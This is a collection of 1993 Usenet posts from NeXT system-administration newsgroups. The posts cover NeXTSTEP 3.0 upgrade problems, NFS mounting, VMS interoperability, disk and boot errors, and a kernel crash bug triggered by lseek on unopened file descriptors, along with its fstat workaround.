From: holschdm@nextwork.rose-hulman.edu (David M. Holscher) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Replacing loginwindow with xdm Date: 4 Feb 1993 02:08:18 GMT Organization: Computer Science Department at Rose-Hulman Distribution: world Message-ID: <1kptqiINNoor@master.cs.rose-hulman.edu> Hello. I'm attempting to replace the loginwindow application in /etc/ttys on my mono-station so that I can run xdm instead. I've got XNeXT working and I can run xdm as root after I have logged in via the loginwindow, but when I put xdm in /etc/ttys it dies before bringing up the login widget with the following error Uncaught exception #1103 upon which xdm dies and init starts it up again and then again ... I have no idea what error that is and I can't seem to find any documentation on this exeception. Has anyone done this and can you send me your configuration files? Does anybody know what causes this error? David Holscher
From: taylor@corona.math.vt.edu (Frank Taylor) Newsgroups: comp.sys.next.sysadmin Subject: Problem with 3.0 upgrade and NeXT laser printer Message-ID: <11556@vtserf.cc.vt.edu> Date: 2 Feb 93 14:39:09 GMT Sender: usenet@vtserf.cc.vt.edu Organization: Mathematics Department, Virginia Tech I have a NeXTcube 68040 25MHz, NeXT Laser printer, and NeXT CD-ROM drive. When I upgraded to NeXTSTEP 3.0 I discovered that I can't print anything. If I lpr a file the error message is: "lpr: Local_Printer: unknown printer". If I open a print dialog box the Name: field reads "No printers available" and the legend "Printer description file not available" appears. However nppower on|off still works. I had no problem under 2.2.
Newsgroups: comp.sys.next.sysadmin From: lemson@uiuc.edu Subject: Re: dump.old in 3.0 Message-ID: <C1wsDo.BJB@ux1.cso.uiuc.edu> Sender: lemson@ux1.cso.uiuc.edu (David Lemson) Organization: University of Illinois at Urbana References: <1kc1pnINNg53@emory.mathcs.emory.edu> <C1u9nF.20y@oceania.com> Distribution: na Date: Thu, 4 Feb 1993 05:24:45 GMT john@oceania.com (John Robison) writes: >dump (*and* dump.old) are "really incompatible" with the >dump shipped on SunOS 4.1.1. >You can still do backups though, it seems that rdump >from a NeXT to a tape drive on our Sun works just fine. >(Despite the nasty warning about rmt controls in the >NeXT dump man page.) To clarify - you can use rdump from a NeXT to a tape drive physically attached to a Sun. However, Sun's 'restore' will not read this dumpfile. You must use rrestore from a NeXT to read that tape. Works OK in my experience as well. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: pierce@lanai.cs.ucla.edu (Brad Pierce) Subject: Changing default boot command Message-ID: <1993Feb3.233345.24718@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department Date: Wed, 3 Feb 93 23:33:45 GMT How do I change the "default boot command" (the machine is not on a network) under NeXTSTEP 3.0 so that it has the following boot parameters: "sd-p nbu=64". And is that the best way to decrease the frequency of disk reads? Thank you in advance. -- Brad Pierce --
From: olsenc@stein2.u.washington.edu (Clint Olsen) Newsgroups: comp.sys.next.sysadmin Subject: How to get ethernet address off of a NeXT? Date: 4 Feb 1993 08:35:25 GMT Organization: University of Washington, Seattle Distribution: world Message-ID: <1kqkgdINNmd8@shelley.u.washington.edu> Hello: Please email responses because I don't get around to reading news frequently. I need to add the ethernet address of a NeXT to my /etc/ethers database. Any ideas? Thanks. -Clint
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: stark@superc.che.udel.edu (Scott M. Stark) Subject: Problems with recvfrom(2) Message-ID: <1993Feb4.091953.21794@udel.edu> Keywords: recvfrom, UDP Sender: usenet@udel.edu (USENET News Service) Organization: University of Delaware Date: Thu, 4 Feb 1993 09:19:53 GMT Has anyone had experience using the recvfrom(2) call using a UDP protocol? I can not get an example program from Stevens "UNIX Network Programming" book to work because the recvfrom call fails. The error message is bad address. The example works fine on an RS6000 and Sun4. Thanks, Scott -- Scott Stark University of Delaware Department of Chemical Engineering 123 Colburn Lab Newark, DE 19716-3119 (302) 831-6713
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Message-ID: <0fQ=8L_00WB3MsR6Io@andrew.cmu.edu> Date: Thu, 4 Feb 1993 01:05:11 -0500 From: Charles William Swiger <infidel+@CMU.EDU> Subject: Re: Slab crashes 12 times in 5 days In-Reply-To: <7579@ucsbcsl.ucsb.edu> Distribution: usa Excerpts from netnews.comp.sys.next.misc: 3-Feb-93 Slab crashes 12 times in 5 .. by Douglas Scott@foxtrot.cc > Feb 1 09:01:58 waltz mach: unexpected kernel page fault failure > Feb 1 09:01:58 waltz mach: trap: type 0x410 fcode 5 rw 3 faultaddr 0x0 > Feb 1 09:01:58 waltz mach: trap: pc 0x40675ec sp 0x3ffff78 sr 0x2000 > Feb 1 09:01:58 waltz mach: trap: cpu 0 th 0x4016890 proc 0x40162f8 pid 77 > > [...munch...] > > Feb 1 09:01:58 waltz mach: panic: (Cpu 0) MMU invalid descriptor during > table walk I'd say you were having a problem with a daemon or a loadable kernel module started up in one of your /etc/rc* scripts. Perhaps you have something starting up that should be wired down in memory that crashes or exits, leaving the machine's virtual memory in an inconsistant state, thus giving the invalid MMU descriptor. Try restarting the machine, and figure out what pid 77 is. Then take a careful look at what happens to that process.... Good luck, -Chuck Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!" ------------------------------------------+ "Foosh. Aauuggghh!!" AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...." Failing that: cs4w+@andrew.cmu.edu | NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
Newsgroups: comp.sys.next.sysadmin From: kjartan@repulse.saclay.cea.fr (Kjartan Pierre Emilsson) Subject: Re: simple NFS server question Sender: @nenufar.saclay.cea.fr Message-ID: <1993Feb04.132618.13153@nenufar.saclay.cea.fr> Date: Thu, 04 Feb 1993 13:26:18 GMT References: <1kp80iINNl0j@menudo.uh.edu> Organization: Commissariat Energie Atomique (CEA), France. In article <1kp80iINNl0j@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears) writes: > In article <1993Feb3.144242.267@parsec.mixcom.com> > alberto@parsec.mixcom.com (Manuel Alberto Ricart) writes: > #I just networked two machines (the LAN consists of only 2 > #computers linked to the outside world via UUCP), and > #noticed that on the NFS server, which exports home > #directories, LocalApps, etc the path to the home > #directories is: > # > #/Net/parsec/Users/ > # ^^^^^^ > #My concern is that the entire root directory (parsec > #appears under /Net and seems to be cyclical: > #/Net/parsec/Net/parsec..... forever. Is this normal? > # > > The servers are unique. When you export and mount under /Net, you will > get an endless cycle of /Net/server/Net/server/Net/server... This is > perfectly normal. No need to worry about anything. > Usually when you want to NFS mount directories under /Net, you specify the mount commands for the whole network in NetInfo. When a server then tries to mount its own directory, it simply creates a symbolic link to its root, rather than actually mounting the directory (which would result in an infinite loop). For directories from other machines, it creates a symbolic link to /private/Net/<server>, which is the actual NFS mount point. By using /private/Net, machines don't get upset when they mount e.g a root which itself contains a /Net directory. If this seems confusing, then don't worry: it is, but you get used to it. -Kjartan
From: kgnome@cs.concordia.ca (MATIS stephane) Newsgroups: comp.sys.next.sysadmin Subject: CD-ROM Message-ID: <C1xLzu.rx@newsflash.concordia.ca> Date: 4 Feb 93 16:04:42 GMT Sender: usenet@newsflash.concordia.ca (USENET News System) Organization: Computer Science, Concordia University, Montreal, Quebec I guess this should be on the FAQ, but it 'aint there ! I have installed an external HD from where I boot. I have a CD-rom, still set to SCSI id 4. Now, the audio CD demo from NeXT "cannot find CD-ROM". What now ? I feel lost without some music :( +---------------------------------+ ___ ___ ___ | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! | "It Just Works..." - Steve Jobs | \___/ +---------------------------------+ Wolfnet Operative & NeXThead
Newsgroups: comp.sys.next.sysadmin From: tagreen@lothario.cica.indiana.edu (Todd A Green) Subject: Re: How to get ethernet address off of a NeXT? Message-ID: <C1xqEo.JCv@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: CICA - Center for Innovative Computer Applications References: <1kqkgdINNmd8@shelley.u.washington.edu> Date: Thu, 4 Feb 1993 17:39:59 GMT (Clint Olsen) writes: >Please email responses because I don't get around to reading >news frequently. I tried, but it bounced. >I need to add the ethernet address of a NeXT to my /etc/ethers >database. > You can grep through /usr/adm/messages for it (providing that you rebooted recently and it didn't get rotated out by cron) or you can use a simple program that I wrote that is on ftp.cica.indiana.edu called "ether" (it is in /pub/next/3.0/bin/ether.tar.Z (also has source included for the cautious sys admin)). Todd -- NeXTmail: tagreen@cica.indiana.edu
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: Term: a SLIP replacement Message-ID: <1993Feb4.191322.26372@galileo.cc.rochester.edu> Date: 4 Feb 93 19:13:22 GMT References: <C1suB5.16J@rice.edu> Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York In <C1suB5.16J@rice.edu> bob@ruf.rice.edu (Robert Morrison Dana) writes: >SLIP users take note: >There now is a communications protocol available called "term" that >provides much of the functionality of SLIP. In particular, it allows >users to have multiple logins over the same modem line, run X-windows >clients, and map a login prompt of one machine to a telnet port of the >other machine, in either direction. The best part is that it is >entirely a user-level program- no root access is needed at either in >for installation or use. The same server is run at both ends of the >line and connections can be made in either direction. >What's the catch? >Term is being developed along with and for Linux, a public domain UNIX >for 386. It compiles for the NeXT so that Linux machines may connect >to NeXT servers. Theoretically, it should work just as well between >two NeXTs as a NeXT and a Linux box. I can compile it, but it doesn't >work. >Does anybody have this running on a NeXT? It looks like a fantastic >idea, and from what I have seen of it on Linux machines, a significant >improvement over SLIP for those of us who don't need/want all the other >things SLIP does (like NFS). I'll be happy to provide more info for >those who want it. >-Robert >-- >Robert Dana <bob@rice.edu> >ONCS Student UNIX systems programmer >Rice University, Houston, TX (This is me, not Rice) I personally didn't get it to work, but I've got a working copy that compiles very nicely under 3.0 and works (so far) on the Sun system that I regularly call into. If you want it, just e-mail me and I'll send along the copy that was sent to me. It's not a "finished" version, nor has it been totally viewed/given the blessing by the original "term" author. But: it works. Use at your own risk (actually, there's only a risk of frustration.) -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin From: sam@chpc.utexas.edu (Samuel R. Oliveira) Subject: panic:hard drive TARGET MEDIA ERRORs Message-ID: <1993Feb4.193755.10001@chpc.utexas.edu> Organization: The University of Texas System - CHPC Date: Thu, 4 Feb 93 19:37:55 GMT From sam@chpc.utexas.edu Thu Jan 28 14:57:15 1993 Path: hermes.chpc.utexas.edu!sam From: sam@chpc.utexas.edu (Samuel R. Oliveira) Newsgroups: comp.sys.next.sysadmin Subject: cannot mount root. In Brazil Summary: Need Help to boot Keywords: panic Message-ID: <1993Jan28.205715.8413@chpc.utexas.edu> Date: 28 Jan 93 20:57:15 GMT Organization: The University of Texas System - CHPC Lines: 48 I have a NeXTStation here in Brazil for about a year now. I never had any seriuous problem. Last week one of the users tried to read a floppy disk in a MacIntosh format. He said the panic window appeared, and turned off the machine. When I tried to boot the NeXT this is what I got: init arg: -sx . . NeXT Mach 2.1: ... FPU version 0x40 physical memory= 8.00 MB available memory = 7.03 MB ... ... dsp0 at 0x2100000 np0 at ... sound at ... root on sd0 master cpu at slot 0 Target 1: MEDIA ERROR; block 241H retry 1... 9 sd0 (1,0):sense key:0x3 additional sense code:0x11 SCSI Block in error = 577 ; Partition a F.S. sector 128 panic: (Cpu 0) vfs_mountroot: cannot mount root .. .. panic > Can anyone there help me out???? Please reply to samolive@brunb.bitnet (prefered) or sam@hermes.chpc.utexas.edu It is really hard to read news from the southern hemisphere, so please e-mail me any hint. Thanks so much Samuel R. Oliveira Brazilian NUGts -- Samuel R. Oliveira |Center for Relativity |(sam@einstein.ph.utexas.edu) relativity| |RLM 9.216 Mail Code # 61606|(OLIVEIRA@UTAPHY.BITNET) physics | |Department of Physics |(fusion::oliveira) plasma |
From: horde@reed.edu (Mr. Heiji Horde) Newsgroups: comp.sys.next.sysadmin Subject: Repartitioning a 330M drive... Message-ID: <1993Feb4.194309.13130@reed.edu> Date: 4 Feb 93 19:43:09 GMT Article-I.D.: reed.1993Feb4.194309.13130 Organization: Twisted Genius Rehabilitation Center, a Division of MHE Hey there folks, I've got these NeXTs cubes (about 5 years old now) with 330M hard drives and was wondering if anyone had a disktab entry so I could reformat the internal HD to 230M and 100M partitions. I already checked /etc/disktab already and the only entry in there was for an optical disk. BuildDisk will only partition 330M disks into a single partition. (grr...) Arrghh...what I wouldn't do for a decent 'chpt' program. Thank you NeXT for making things so much harder to configure. -Heiji horde@reed.edu
From: cbarber@bbn.com (Chris Barber) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Re: lseek(bad filedes) crashes NeXT2.1 Date: 4 Feb 1993 21:54:57 GMT Organization: Bolt Beranek and Newman (BBN) Message-ID: <ln345hINN4bg@news.bbn.com> References: <1kmeic$p05@agate.berkeley.edu> In article <1kmeic$p05@agate.berkeley.edu> stolcke@icsi.Berkeley.EDU (Andreas Stolcke) writes: The little program below tests the file descriptors from 0 ot 31 for open-ness by performing an lseek and checking errno. This happens to consistently crash out NeXT cube running the 2.1 release. Question #1: Is this a known problem? Question #2: Is there a fix for it. The problem doesn't seem to be specific to lseek. A similar program using select(2) to test the file descriptors also crashes the machine. I consider this a very bad bug since it means that any program that is not careful with open's and close's can produce very bad surprises. #include <errno.h> extern int errno; extern long lseek(); main() { int i; printf("Open streams:"); for (i = 0; i < 32; i++) { if (lseek(i, 0L, 1) >= 0 || errno == ESPIPE) { printf(" %d", i); } else if (errno != EBADF) { extern char *sys_errlist[]; printf(" error on %d: %s", i, sys_errlist[errno]); } } printf("\n"); exit(0); } I discovered this bug last summer and reported it to bug_next@next.com but didn't hear anything back about it. Basically, the problem occurs for the following set of conditions: - a file access function requiring an open file descriptor is used on a descriptor which is not open. - the file descriptor is >= 20 - the function is repeated in a tight loop You will probably notice that putting a small delay in the loop will make the problem go away. The more correct way to deal with the bug is to use fstat() to see if the file is open before you do anything. Note that a single random access to an unopened file descriptor will not bring about the bug, nor will anything done with a fd less than 20. -- Christopher Barber (cbarber@bbn.com)
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.sysadmin Subject: Pencom Software Seeks 15 NeXT Engineers (Nationwide US and Canada) Message-ID: <6732@rosie.NeXT.COM> Date: 4 Feb 93 21:24:33 GMT Sender: news@NeXT.COM For more information, contact: Clint Tomlinson Manager, NeXT Recruiting Pencom Software 9050 Capital of Texas Highway North Austin, Texas 78759 Telephone: 512-343-1111 Fax: 512/346-6444 E-Mail: clint@pencom.com Pencom Software Seeks 15 NeXT Engineers Location: North America (Northeast, Midwest, Texas, West, Canada) AUSTIN, TEXAS - February 04, 1993 - Pencom Software's team of NeXT engineers are specifically dedicated to serving both developers and end user organizations equipped with workstations and software from NeXT Computer, Incorporated. Already a NeXT-authorized systems integrator as well as a registered NeXT software developer, Pencom is expanding the service to capitalize on the growth NeXT has recently experienced. Pencom Software is a division of Pencom Systems Incorporated, a New York-based firm providing software engineering and manpower resources to Fortune 500 companies and leading computer firms since 1973. Currently the largest recruiting firm specializing in the UNIX/Open Systems market, Pencom employs over 500 people and maintains a large heterogeneous network of workstations including more than 70 NeXT machines. The following positions are available in the United States and in Canada: TEXAS 1- Senior Database Specialist * 5+ years database design and database applications development experience * 3 years application development experience in a UNIX environment * 2 years DBMS experience using an SQL-based DBMS * 1+ year applications experience in the NeXTSTEP environment * Strong background in proposal generation, system specification, third-party software evaluation, technology transfer, rapid prototyping * Experience with AppKit, DBKit, NeXTSTEP 3.0, OOD, C++, Objective-C * GUI and Porting experience NORTHEAST 3 - Development Technical Leads * Strong NeXTSTEP applications development * Strong UNIX/C, database programming (Sybase, Oracle, Informix) * Objective-C, AppKit, Interface Builder * High level applications design and rapid prototyping * Project/Technical lead experience * Good interpersonal skills (oral and written) * Technical support/OOP, OOD methodology transfer * 6 to 10 years experience 1 - System Administrator * NeXT/Sun/UNIX system administration * Network Management background * Objective-C or C++ * Background in a heterogeneous systems environment a must 1 - Software Engineer * NeXT/UNIX application software development * Strong NeXTSTEP, AppKit, Interface Builder * High level design, rapid prototyping * Ability to work in a dynamic team environment * Strong Objective-C or C++ * 5 to 8 years experience WEST 1 - Senior Database Specialist * 5+ years database design and database applications development (ORACLE preferred) * 3 years UNIX application development * 2 years RDBMS experience using an SQL-based RDBMS * 2+ year NeXTSTEP applications * AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective-C MIDWEST 1 - Senior Systems Engineer * Provide NeXT applications development and support * Project Management/Project Lead experience * Very strong interpersonal skills, technical marketing experience a plus * Technology transfer of OOD, OOP methodologies * NeXTSTEP, Appkit, DBKit, Objective-C or C++ * 6 to 10 years experience 1 - Senior Applications Development Engineer * 5-7 years UNIX/C applications development * Financial applications (Equity Trading Systems in particular) * 1+ years NeXT/NeXTSTEP/AppKit/ DBKit/Objective-C * Sun, SYBASE/C++ a plus 4 - Software Engineers * NeXT/UNIX application software development * Strong NeXTSTEP, AppKit, Interface Builder * High level design, rapid prototyping in NeXT environment * Strong Objective-C or C++ * 2 to 5 years experience CANADA 2 - NeXT Contract Engineers * Strong NeXTSTEP applications development * Strong UNIX, Objective-C, C++ * AppKit, Interface Builder, DBKit required * Strong RDBMS * Transfer of NeXT technology * Software training or teaching experience * 6 to 10 years experience Sorry, these positions require permanent residence and 2+ years industry experience..Thank you for your understanding... More positions available soon!! For more information, contact: Clint Tomlinson Manager, NeXT Recruiting Pencom Software 9050 Capital of Texas Highway North Austin, Texas 78759 Telephone: 512-343-1111 Fax: 512/346-6444 E-Mail: clint@pencom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis) Subject: NFS mounts in NeXTStep 3.0 (they suck?) Message-ID: <1993Feb4.222843.25990@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Thu, 4 Feb 93 22:28:43 GMT Help.... We have experienced problems NFS mounting NeXT's running NS 3.0 on a SGI personal Iris. We have several NeXT's still running 2.0 and their mounts work fine. However, the mounts for the NS 3.0 computers are unreliable, sometimes they work, sometimes they don't. Has anyone else had problems with NFS on 3.0? What is really interesting is that mounting NeXT to NeXT seems to allways work, regardless of the version of NeXTStep. I would really appreciate any help on this problem. It is severly troublesome! Thanks, Scott -- Scott Collis Department of Mechanical Engineering Stanford University collis@lele-next2.stanford.edu (415) 725-3318
From: root@scarolina.cerfnet.com (Operator) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: rarpd for the neXT Date: 4 Feb 1993 23:10:31 GMT Organization: CERFnet Message-ID: <1ks7p7INN37q@news.cerf.net> Keywords: rarpd, ethernet Hello, Have any of you gotten rarpd working on the NeXT? If so, can you tell me where you got it, and how you got it working. I am trying to set up diskless sun3/50 as an Xterminal for my next (a cheap way of getting another working place) and it requires rarpd, from what I can see. Any help would be greatly appreciated. Please respond to fasano@scarolina.cerfnet.com Thanks, Chris Fasano Francis Marion Univ.
Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Re: Using NeXT's and VAX/VMS systems Message-ID: <d#13hj#@rpi.edu> References: <z7r3cdb@rpi.edu> Date: Fri, 5 Feb 1993 00:12:17 GMT Back on January 28th I made a request for info on using NeXT with VAX/VMS systems. I promised a summary of the answers I got, and here it is. I'd like to thank everyone for the answers given, they were very helpful to the prospective NeXT buyer who had asked me for information. The brief summary seems unanimous: It's quite workable, and use MultiNet on the VAX/VMS side. --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA - - - - -[message 1:] Date: Thu, 28 Jan 93 20:18:49 PST From: eps@toaster.sfsu.edu (Eric P. Scott) Organization: San Francisco State University Reply-To: eps@cs.sfsu.edu In article <z7r3cdb@rpi.edu> you write: gad> A local user is thinking of buying some NeXT's to augment gad> the work they already do on some Vax's running VMS. Most gad> of the data they have is currently on the VMS systems, gad> and he was wondering how easy it is for NeXT's and VMS gad> systems to share data. Does VMS support NFS, for instance? VMS does not support TCP/IP "out of the box." There are several options here, but the best of the lot is generally regarded to be TGV MultiNet. The "worst" of the lot (surprise!) is DEC's own UCX. Unfortunately, a number of universities got UCX "for free" under DEC's CSLG program, and feel they don't need to spend money on a commercial product. UCX is a piece of sh*t. Disclaimer: I am loosely affiliated with TGV gad> Are the line-ending characters the same in VMS as they gad> are in Unix/NeXT land? VMS has an extra layer between the operating system and user software. It's called RMS, and makes files a little more "interesting" than just having a linear stream of bytes. It is POSSIBLE for a text file to be a "Stream_LF" file, in which case its on-disk (binary) representation is EXACTLY the same as what it would be on a UNIX system. It's also possible for the same text file to be represented as a "VAR CR" file, in which case each line is preceded by a two-byte count, odd-length lines are padded to even byte boundaries, and the "newline" is implicit. If you plan on using NFS, it's a good idea to convert shared VAR CR files to Stream_LF files. gad> He asked me, and since I have never worked with a VMS system gad> I figured I'd ask the net. For anyone who is using NeXT's gad> with VMS systems, how well do they work together? Well enough. You'll get warnings if you tell a DECwindows application to display on a NeXT running co-Xist (mainly due to DEC font strangenesses). Other than that, I really can't think of any surprises. -=EPS=- - - - - -[message 2:] Date: Fri, 29 Jan 93 13:38:45 -0600 From: gbb@woz.mayo.edu Reply-To: brunkhorst@mayo.edu In comp.sys.next.sysadmin article <z7r3cdb@rpi.edu> you wrote: gad> A local user is thinking of buying some NeXT's to augment gad> the work they already do on some Vax's running VMS. Most gad> of the data they have is currently on the VMS systems, gad> and he was wondering how easy it is for NeXT's and VMS gad> systems to share data. Does VMS support NFS, for instance? gad> Are the line-ending characters the same in VMS as they gad> are in Unix/NeXT land? I live in a VMS/Sun/NeXT world, and we use TGVs Multinet to make the systems stick together. VMS does not directly support NFS, but under Multinet, it works pretty well. The major diffs are that VMS's RMS/ODS-II file system is much richer in terms of record formats at the file system level (ISAM, relative access, record formatting issues, more levels of access control), but VMS has some limitations as to how file names are formed (case insensitive, a rigid context in terms of punctuation, 79 characters per name, and then you have verions). Another difference is that VMS UICs and Unix UIDs don't map well. In a well-coordinated environment you can do a decent job as working out the problems, but some VMS sysadmins won't give unix the time of day (Luckily, I'm the VMS system manager...;-) Multinet does a good job as a NFS client and as a server. We use an Epoch Virtual File Storage server as a central NFS server, and Multinet mounts it up fine. Most of the time, the line ending characters are properly remapped, but the major problem is usually with VMS limitation in record lengths (65535). There are several system and PD tools on the VMS side to 'fix' this sort of thing, but it can be a pain. Of course, there are hundreds of other nits between the two, but most are livable. I prefer VMS as a OS, but who am I to say... I like TECO as a editor. - Geoff ----------------------------------------------------------------- Geoffrey Brunkhorst brunkhorst@Mayo.edu Research Computing Facility, Guggenheim 10 (507) 284-1805 Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231 - - - - -[message 3:] Date: Fri, 29 Jan 93 17:06:23 -0600 From: Allyn Tennant <tennant@alph.msfc.nasa.gov> In comp.sys.next.sysadmin article <z7r3cdb@rpi.edu> you wrote: gad> Does VMS support NFS, for instance? I suggest you get the MultiNet software for the VAX. MultiNet is a third party product and works great. We have it on our VAX, and NFS mount the VAX disks on our NeXT systems. Thus you can point and click your way around the VAX file system. There are two minor problems, 1) you cannot see version numbers from the NeXT, thus the only files you can access are those with the highest version number. For example if you use the NeXT to delete a VMS file, and a lower version number exists, then the file appears not to delete because the lower version number becomes visible. Minor problem 2) concerns case. Multinet simulates lowercase on the VAX by putting $ `escape' sequences into the file name. thus if the NeXT shows a name of File, on VMS it will be $F$ILE. Both problems are easy to deal with. You can also mount the NeXT disks on the VAX. Although we don't do this, we do have some SUN disks mounted on the VAX. Version numbers magically work when VMS access the SUN disks. gad> Are the line-ending characters the same in VMS as they gad> are in Unix/NeXT land? VMS has no problem with the different line ending characters. Thus files created on the NeXT side will have a Stream_LF format, whereas files created on the VAX side have carriage return format. RMS magically reads both with no problems, so most users never know there is a difference. Really shows the power of VMS. gad> For anyone who is using NeXT's with VMS systems, how well gad> do they work together? We are very happy with the way MultiNet and the NeXT work.You can drop a NeXT binary onto the VAX disk, and then run it on the NeXT by double clicking. I've even run DECWindows, displaying onto my NeXT, using a 3rd party X window package on the NeXT of course. With the right software, everything just works. Allyn - - - - -[message 4:] From: harit@kripalu.com Subject: Re: Using NeXT's and VAX/VMS systems Reply-To: harit@kripalu.com Organization: Kripalu Center Date: Sat, 30 Jan 93 13:45:17 GMT If you get the MULTINET product from TGV you get TCP/IP, NFS server, and NFS client for VMS. This lets you cross mount disks and share files. We have our VMS accounting system generate reports to text files that are automatically copied to the NeXT disk and then loaded into Sybase on the NeXT. Then we use the great NeXT tools to access the database. It all just works. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288 - - - - -[message 5:] From: lfahnoe@kegworks.mn.org (Larry Fahnoe) Subject: Re: Using NeXT's and VAX/VMS systems Organization: The Kegworks, Minneapolis, Minnesota Date: Sat, 30 Jan 1993 17:50:37 GMT No, stock VMS does not support NFS. You would need to add it via either TGV's MultiNet (first choice) or Digital's Ultrix Connection (a good choice if your site happens to have access to the Campus-wide Software License Grant Program). There may be other packages that offer NFS support for VMS. No, the line ending characters are not necessarily the same. RMS (the set of system services on VMS that support files) has a great deal more information stored in the file and its assoicated header about both the file and record formats. On a VMS system the closest thing to a UNIX file would be a file with Stream-LF (a character stream delimited by linefeeds) format. I expect that the above products both support some form of file conversion; I know that Digital's does. If your user's data is stored in RMS relative or indexed files, expect to convert them to flat files first; the VMS Convert utility will do this nicely. With a little creativity and patience, you can share data with a VMS system, and your user can have the best of both worlds. -- Larry Fahnoe Cellular One 612/832-7616 7900 S. Xerxes Ave, Suite 301 lfahnoe@kegworks.mn.org Minneapolis, MN 55431
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: cmumford@iat.holonet.net (Chris Mumford) Subject: Re: NFS mounts in NeXTStep 3.0 (they suck?) Message-ID: <C1y9vw.HJr@iat.holonet.net> Organization: HoloNet National Internet Access BBS: 510-704-1058/modem References: <1993Feb4.222843.25990@leland.Stanford.EDU> Date: Fri, 5 Feb 1993 00:40:43 GMT I'm using a NeXTStation (3.0) to do a mount in the opposite direction with an SGI -- mount a published NFS volume from the SGI to the NeXT, and haven't had any major problems. I say major, because it works, but NFS support definately has problems with it.
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: finger information? Organization: Relayed-by-Sendmail Date: Fri, 5 Feb 1993 00:48:52 GMT Message-ID: <9302050048.AA08643@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: reggers@julian.uwo.ca (Reg Quinton) I was just wondering how you get information into your finger display. We used to have a command on the system to do this but was recently taken off. Any help on these command line functions wuld be greatly appreciated. ^o bad o key. Please respond by mail if possible. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted Honours Computer Science, University of Western Ontario >>> Developing in the NeXT generation <<< ****************************************************************************
Newsgroups: comp.sys.next.sysadmin From: Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky) Subject: Re: NFS mounts in NeXTStep 3.0 (they suck?) Message-ID: <1993Feb5.005213.10817@mb3.tu-chemnitz.de> Sender: inews@mb3.tu-chemnitz.de (Internet news) Organization: University of Technology Chemnitz, FRG References: <1993Feb4.222843.25990@leland.Stanford.EDU> Date: Fri, 5 Feb 1993 00:52:13 GMT In article <1993Feb4.222843.25990@leland.Stanford.EDU> collis@lele-next2.Stanford.EDU (Samuel Scott Collis) writes: > Help.... > > We have experienced problems NFS mounting NeXT's running NS 3.0 on a SGI > personal Iris. We have several NeXT's still running 2.0 and their mounts > work fine. However, the mounts for the NS 3.0 computers are unreliable, > sometimes they work, sometimes they don't. Has anyone else had problems > with NFS on 3.0? What is really interesting is that mounting NeXT to NeXT > seems to allways work, regardless of the version of NeXTStep. > > I would really appreciate any help on this problem. It is severly > troublesome! > We have various big NFS problems too. I can't say if there are differences between NS 2 and NS 3 because all our NeXTs are running NS 3. What I could see is exporting parts of the root filesystem (the internal disk) works for us with no problems. The trouble begins if I try to export parts from my external disk. Especially if I try to export the home dirs (located on the first partition of the external disk) I'm running into big problems. The home directories could be mounted and used on the other machines with no problems if I don't use access restrictions (exporting the directories with public access worldwide) If I deny the public access so that only the machines which are listed explicitly for ro, rw or root access can mount the exported directory I get authentication errors (weak authentication) for this machines (no matter if the importing machine is a NeXT running 3.0 or some other (Sun, HP)) But I think granting public access could really not be the solution (except the abbreviation NFS stands really for No File Security ;-) Another problem with NFS I can see if I try to export parts of the second partition of the external disk. The whole partition is exported with public ro access because it is a part of our ftp-server. From time to time I get the following error messages from our ftp-server(s) which have mounted the exported disk Feb 4 05:30:16 steve mach: nfs_server: bad sendreply from xx.xx.xx.xx Feb 4 05:32:12 steve mach: svckudp_send: xdr_replymsg failed and the access from the remote machine is impossible for a indefinite time. Sorry I don't have a solution for all these NFS problems. I think it's time for some bug-fixes for the NS 3 implementation of NFS. Cheers, Christian -- Name: Christian Andretzky | Address: Technische Universitaet Chemnitz | Phone: +49 371 561 2130 | Fachbereich Maschinenbau III | FAX: +49 371 561 2413 | Reichenhainer Str. 70 